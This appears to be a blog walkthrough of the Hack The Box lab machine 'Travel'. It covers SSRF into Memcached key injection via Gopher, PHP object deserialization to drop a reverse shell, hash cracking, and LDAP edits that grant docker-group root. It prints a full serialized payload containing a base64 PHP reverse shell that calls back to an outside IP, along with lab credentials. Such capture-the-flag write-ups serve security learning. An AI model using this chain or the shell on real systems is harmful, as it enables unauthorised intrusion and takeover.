Enum/ Information gathering

We start off with quick and basic scans to get us started quickly (the full scan, which takes a bit longer, did not reveal anything new).

We add travel.htb and www.travel.htb to /etc/hosts. Both of which point to a temporary web page. The https page displays a message essentially saying it’s not in use. So nothing there.

Let’s start fuzzing. The initial host does not reveal anything useful. Fuzzing vhosts shows a couple of pages initially; blog and ssl, with blog pointing to a WordPress install and ssl pointing to the same message as the https page mentioned above. A quick look at the source code of the blog page reveals that there are two other vhosts blog-dev and blog-prod. The former is not accessible and the latter is the same as the initial host showing the temporary page.

Now we’re on for another round of fuzzing of these vhosts. The most interesting result was from the blog-dev which revealed .git folder in there.

A Google search shows two tools git-dumper and GitDump (first and second results for searching ‘dump git’). The fist did not work for me, but the second did.

template.php and rss_template.php show the overall flow of the data, including the processing of the URL (to make it ‘safe’), then to get the RSS feed (which can be passed on through custom_feed_url), or using a default hard-coded URL (http://www.travel.htb/newsfeed/customfeed.xml).

The two things that jump out and might be a potential road to an RCE are the caching (handled by SimplePie and using Memcache) and the fact that the URL parser can be easily bypassed, signaling an SSRF vulnerability. It might be possible then to use the SSRF vulnerability to carry out some sort of a key-value injection in Memcached.

The bypassing would be the easy part, with a number of ways to do that as described here. Using rare addresses worked fine. Smuggling Memcached and use it for an RCE is another story! This link had good info, listing options for protocols SSRF smuggling. Also, Memcached commands overview can be found here.

We have no visibility whatsoever though until we see the debug.php (in rss_template.php) that shows the key-values stored in the cache after calling rss_template.php. Calling the default page for instance gives the following (see below). Note that the cache timeout is 60 seconds and the prefix (as defined in rss_template.php) is xct_ (default would be simplepie_ as seen here). That same page shows how the key below is constructed (line 99): prefix_md5($name:$type).

It wasn’t that straightforward to figure out the name and type. The default naming function turns out to be MD5 (unless changed with set_cache_name_function), and there are two types; spc (feed cache type) and spi (image cache type). This means that the key below is generated by the following formula: key = prefix_md5(md5(URL):spc) , which translates to xct_4e56... = xct_md5(md5('http://www.travel.htb/newsfeed/customfeed.xml'):spc), and the complete key then is xct_4e5612ba079c530a6b1f148c0b352241.

During the time the requested feed is in the cache, SimplePie will deserialize the associated value from the cache rather than getting the content from the source. Smuggling Memcached, we can replace that value with something that will help us get a shell back. The logs implementation in TemplateHelper has a __wakeup function that will be activated at each deserialization to write a file to the log directory. We will use that to write a PHP reverse shell to logs and get a shell back.

First, let’s create a payload with msfvenom and set up a handler on msf.

One of the links mentioned above shows how to set up a key: set mykey <flags> <ttl> <size>, and the protocols to be used to smuggle Memcached, which includes Gopher. As mentioned, what we need to do is to write the payload above into a file in logs. We will replace the value of the key xct_4e5612ba079c530a6b1f148c0b352241 with the serialized object below (a file named pshell.php and the reverse shell data generated above).

I had initially some issues with test data and I ended up URL encoding everything, including this whole command to set the new value for the existing key: set xct_4e5612ba079c530a6b1f148c0b352241 0 60 1589\r\nO:14:"TemplateHelper":2:{s:4:"file";s:10:"pshell.php";s:4:"data";s:1513:"<?php eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEwLjEwLjE2LjExOSc7ICRwb3J0ID0gNDQ4NjsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygi.TmxlbiIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7));";}\r\n. The following command was used to URL encode the above: echo -ne 'string_to_url_encode' | hexdump -v -e '/1 "%02x"' | sed 's/(..)/%\1/g'.

Exploitation/ Foothold

So, at this stage, we will access the RSS feed, then inject the previous value (url-encoded), to the above key, which will create the PHP reverse shell when accessing the RSS feed again. We then get a meterpreter session (by invoking pshell.php) and we have access as www-data.

User

Getting into the meterpreter session, it looks like we landed on a Docker container, serving the blog site, with IP address 172.30.0.10. I initially thought it had something to do with Docker and went on a search of how I could run commands on the host to enumerate further. But it was simpler than that.

Note that each time I land on a Linux box I run linpeas and/or LinEnum. I had already seen the MySQL creds in wp-config.php and looking at wp_users there was only one user admin. Trying to crack the hash did not work. Further enumeration revealed a SQL backup file in /opt/wordpress/, which showed another user called lynik-admin, and our friend john was able to crack the password this time around: 1stepcloser. Trying that out with ssh worked!

Privilege Escalation

On the home directory of lynik-admin, two files (.viminfo and .ldaprc) point to the user as an LDAP administrator (by running ~$ ldapsearch -x -w Theroadlesstraveled — the password is found in .viminfo). It also shows a bunch of other LDAP users that do not have a home on the box.

It’d be possible then to add/ modify attributes of these users. One such attribute that would easily give us root access is the docker group membership. The easiest way would be to add lynik-admin to that group, but it gives an error: ldap_modify: Insufficient access (50). I had never seen the LDAP Data Interchange Format (.ldif) before but it was really straightforward with plenty of resources online. The following shows the ldif commands used to add/ modify the required attributes for one of the users (jane — could be any of them users). And finally, we get root access on the mounted filesystem of the host.

Please feel free to leave comments, especially if you have a better way or interesting alternatives to do any of the above.

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *